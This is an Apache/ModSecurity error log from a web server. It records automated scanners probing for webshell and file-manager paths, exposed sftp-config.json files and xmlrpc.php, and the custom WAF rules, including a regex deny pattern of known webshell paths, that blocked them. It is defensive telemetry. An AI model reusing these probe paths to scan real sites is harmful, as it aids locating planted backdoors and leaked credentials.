[Sat Apr 25 11:25:53.528891 2026] [proxy_fcgi:error] [pid 46083:tid 46098] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:53.778067 2026] [proxy_fcgi:error] [pid 46083:tid 46099] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:54.039333 2026] [proxy_fcgi:error] [pid 46083:tid 46088] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:54.293742 2026] [proxy_fcgi:error] [pid 46083:tid 46104] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:57.811123 2026] [:error] [pid 46083:tid 46093] [client 45.137.126.50:45885] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aew0RTxw_Zq74vWdjmm6kwAAAQY"]
[Sat Apr 25 11:25:59.095149 2026] [:error] [pid 44425:tid 44431] [client 45.137.126.39:63639] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aew0RyUl-VlItvY2tR9q5AAAAMQ"]
[Sat Apr 25 11:26:15.725624 2026] [autoindex:error] [pid 44320:tid 44364] [client 45.137.126.40:62017] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 11:26:35.323657 2026] [autoindex:error] [pid 44320:tid 44372] [client 45.137.126.40:62017] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 12:33:08.805703 2026] [:error] [pid 44321:tid 44390] [client 93.185.162.123:47162] [client 93.185.162.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aexEBI1b5lV-asWa_Y5-tQAAAIc"]
[Sat Apr 25 12:33:10.765692 2026] [:error] [pid 44425:tid 44450] [client 93.185.162.123:47178] [client 93.185.162.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aexEBiUl-VlItvY2tR97DgAAANc"]
[Sat Apr 25 18:08:26.003250 2026] [:error] [pid 16107:tid 16144] [client 120.56.118.56:54834] [client 120.56.118.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.56.118.56, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeySmtIfF7Hy3tw0sYRaCwAAAIc"]
[Sat Apr 25 18:08:26.016107 2026] [proxy_fcgi:error] [pid 16107:tid 16144] [client 120.56.118.56:54834] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:00.459947 2026] [proxy_fcgi:error] [pid 59898:tid 59967] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:00.760304 2026] [proxy_fcgi:error] [pid 59898:tid 59955] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:01.000657 2026] [proxy_fcgi:error] [pid 59898:tid 59978] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:01.258616 2026] [proxy_fcgi:error] [pid 59898:tid 59962] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:01.499478 2026] [proxy_fcgi:error] [pid 59898:tid 59965] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:01.739707 2026] [proxy_fcgi:error] [pid 59898:tid 59960] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:02.001863 2026] [proxy_fcgi:error] [pid 59898:tid 59970] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:02.277445 2026] [proxy_fcgi:error] [pid 59898:tid 59954] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:02.533859 2026] [proxy_fcgi:error] [pid 59898:tid 59958] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:02.800611 2026] [proxy_fcgi:error] [pid 59898:tid 59959] [client 20.199.101.230:55049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:34:03.084434 2026] [:error] [pid 59898:tid 59964] [client 20.199.101.230:55049] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoko.php"] [unique_id "aez7Cx-4vImxb0kbdzfdsQAAAMo"]
[Sun Apr 26 01:34:04.260414 2026] [:error] [pid 3212:tid 3215] [client 20.199.101.230:59120] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoko.php"] [unique_id "aez7DPg-28TY8_YLtUe9XQAAAQE"]
[Sun Apr 26 01:34:07.529836 2026] [:error] [pid 59985:tid 60005] [client 20.199.101.230:49706] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoko.php"] [unique_id "aez7DwF_zDvEhKvyTH7-9QAAABI"]
[Sun Apr 26 01:34:08.111975 2026] [:error] [pid 59985:tid 59992] [client 20.199.101.230:48931] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoko.php"] [unique_id "aez7EAF_zDvEhKvyTH7--wAAAAU"]
[Sun Apr 26 01:34:08.755490 2026] [:error] [pid 59985:tid 59991] [client 20.199.101.230:16046] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/solo1.php"] [unique_id "aez7EAF_zDvEhKvyTH7-_QAAAAQ"]
[Sun Apr 26 01:34:09.322647 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:49669] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/solo1.php"] [unique_id "aez7Efg-28TY8_YLtUe9ggAAARg"]
[Sun Apr 26 01:34:09.849214 2026] [:error] [pid 3212:tid 3237] [client 20.199.101.230:49665] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/solo1.php"] [unique_id "aez7Efg-28TY8_YLtUe9hgAAARc"]
[Sun Apr 26 01:34:10.525314 2026] [:error] [pid 59898:tid 59971] [client 20.199.101.230:59890] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/solo1.php"] [unique_id "aez7Eh-4vImxb0kbdzfdswAAANE"]
[Sun Apr 26 01:34:11.419444 2026] [:error] [pid 59898:tid 59977] [client 20.199.101.230:43762] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/locales.php"] [unique_id "aez7Ex-4vImxb0kbdzfdtgAAANc"]
[Sun Apr 26 01:34:12.258592 2026] [:error] [pid 59985:tid 59994] [client 20.199.101.230:52615] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/locales.php"] [unique_id "aez7FAF_zDvEhKvyTH7_BQAAAAc"]
[Sun Apr 26 01:34:12.921923 2026] [:error] [pid 59898:tid 59960] [client 20.199.101.230:49720] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/locales.php"] [unique_id "aez7FB-4vImxb0kbdzfduQAAAMY"]
[Sun Apr 26 01:34:14.362583 2026] [:error] [pid 59897:tid 59934] [client 20.199.101.230:34988] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/locales.php"] [unique_id "aez7FvBrrkdzpEbmK4fAywAAAIc"]
[Sun Apr 26 01:34:15.693058 2026] [:error] [pid 59898:tid 59971] [client 20.199.101.230:59084] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aez7Fx-4vImxb0kbdzfdwAAAANE"]
[Sun Apr 26 01:34:16.462424 2026] [:error] [pid 59896:tid 59911] [client 20.199.101.230:49684] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aez7GLLLzhtkd-OXUgBVfgAAAEs"]
[Sun Apr 26 01:34:17.289142 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:55058] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aez7GbLLzhtkd-OXUgBVggAAAFg"]
[Sun Apr 26 01:34:18.291087 2026] [:error] [pid 59898:tid 59978] [client 20.199.101.230:59854] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aez7Gh-4vImxb0kbdzfdxQAAANg"]
[Sun Apr 26 01:34:19.832943 2026] [:error] [pid 59896:tid 59922] [client 20.199.101.230:48922] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pucci.php"] [unique_id "aez7G7LLzhtkd-OXUgBVhwAAAFY"]
[Sun Apr 26 01:34:21.013591 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:59086] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pucci.php"] [unique_id "aez7Hfg-28TY8_YLtUe9lwAAAQ8"]
[Sun Apr 26 01:34:21.841703 2026] [:error] [pid 59897:tid 59936] [client 20.199.101.230:53317] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pucci.php"] [unique_id "aez7HfBrrkdzpEbmK4fA0QAAAIk"]
[Sun Apr 26 01:34:22.628507 2026] [:error] [pid 59896:tid 59916] [client 20.199.101.230:53322] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pucci.php"] [unique_id "aez7HrLLzhtkd-OXUgBVlQAAAFA"]
[Sun Apr 26 01:34:23.378112 2026] [:error] [pid 59897:tid 59931] [client 20.199.101.230:40046] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7H_BrrkdzpEbmK4fA0gAAAIQ"]
[Sun Apr 26 01:34:24.274428 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:43774] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7IPg-28TY8_YLtUe9mgAAARA"]
[Sun Apr 26 01:34:24.999765 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:59894] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7IPg-28TY8_YLtUe9nwAAAQM"]
[Sun Apr 26 01:34:25.637875 2026] [:error] [pid 59897:tid 59943] [client 20.199.101.230:43755] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7IfBrrkdzpEbmK4fA1gAAAJA"]
[Sun Apr 26 01:34:27.258113 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:29826] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aez7I_g-28TY8_YLtUe9qgAAAQ8"]
[Sun Apr 26 01:34:28.194920 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:49700] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aez7JPg-28TY8_YLtUe9sAAAAQc"]
[Sun Apr 26 01:34:28.970601 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:59080] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aez7JPg-28TY8_YLtUe9tAAAARQ"]
[Sun Apr 26 01:34:29.735110 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:34965] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aez7Jfg-28TY8_YLtUe9twAAAQM"]
[Sun Apr 26 01:34:30.538562 2026] [:error] [pid 59896:tid 59902] [client 20.199.101.230:55098] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7JrLLzhtkd-OXUgBVnQAAAEI"]
[Sun Apr 26 01:34:31.125195 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:43742] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7J_g-28TY8_YLtUe9vQAAARU"]
[Sun Apr 26 01:34:31.645012 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:55088] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7J_g-28TY8_YLtUe9wwAAARY"]
[Sun Apr 26 01:34:32.216452 2026] [:error] [pid 59898:tid 59957] [client 20.199.101.230:29866] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7KB-4vImxb0kbdzfd0AAAAMM"]
[Sun Apr 26 01:34:32.794913 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:59888] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb/"] [unique_id "aez7KPg-28TY8_YLtUe9yAAAARg"]
[Sun Apr 26 01:34:33.468195 2026] [:error] [pid 59897:tid 59947] [client 20.199.101.230:43759] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb/"] [unique_id "aez7KfBrrkdzpEbmK4fA2AAAAJQ"]
[Sun Apr 26 01:34:34.020134 2026] [:error] [pid 59985:tid 59995] [client 20.199.101.230:53325] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb/"] [unique_id "aez7KgF_zDvEhKvyTH7_GAAAAAg"]
[Sun Apr 26 01:34:34.687310 2026] [:error] [pid 59985:tid 60006] [client 20.199.101.230:34976] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb/"] [unique_id "aez7KgF_zDvEhKvyTH7_GQAAABM"]
[Sun Apr 26 01:34:35.352793 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:40036] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aez7K_g-28TY8_YLtUe92AAAAQc"]
[Sun Apr 26 01:34:36.074320 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:40006] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aez7LPg-28TY8_YLtUe92wAAARQ"]
[Sun Apr 26 01:34:36.857695 2026] [:error] [pid 59985:tid 59989] [client 20.199.101.230:55064] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aez7LAF_zDvEhKvyTH7_HQAAAAI"]
[Sun Apr 26 01:34:38.059991 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:55087] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aez7Lvg-28TY8_YLtUe93gAAARA"]
[Sun Apr 26 01:34:38.629431 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:49683] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no20.php"] [unique_id "aez7Lvg-28TY8_YLtUe94AAAAQI"]
[Sun Apr 26 01:34:39.156741 2026] [:error] [pid 59897:tid 59931] [client 20.199.101.230:59111] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no20.php"] [unique_id "aez7L_BrrkdzpEbmK4fA3wAAAIQ"]
[Sun Apr 26 01:34:39.757539 2026] [:error] [pid 59897:tid 59939] [client 20.199.101.230:55063] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no20.php"] [unique_id "aez7L_BrrkdzpEbmK4fA4wAAAIw"]
[Sun Apr 26 01:34:40.339886 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:40048] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no20.php"] [unique_id "aez7MPg-28TY8_YLtUe95AAAAQs"]
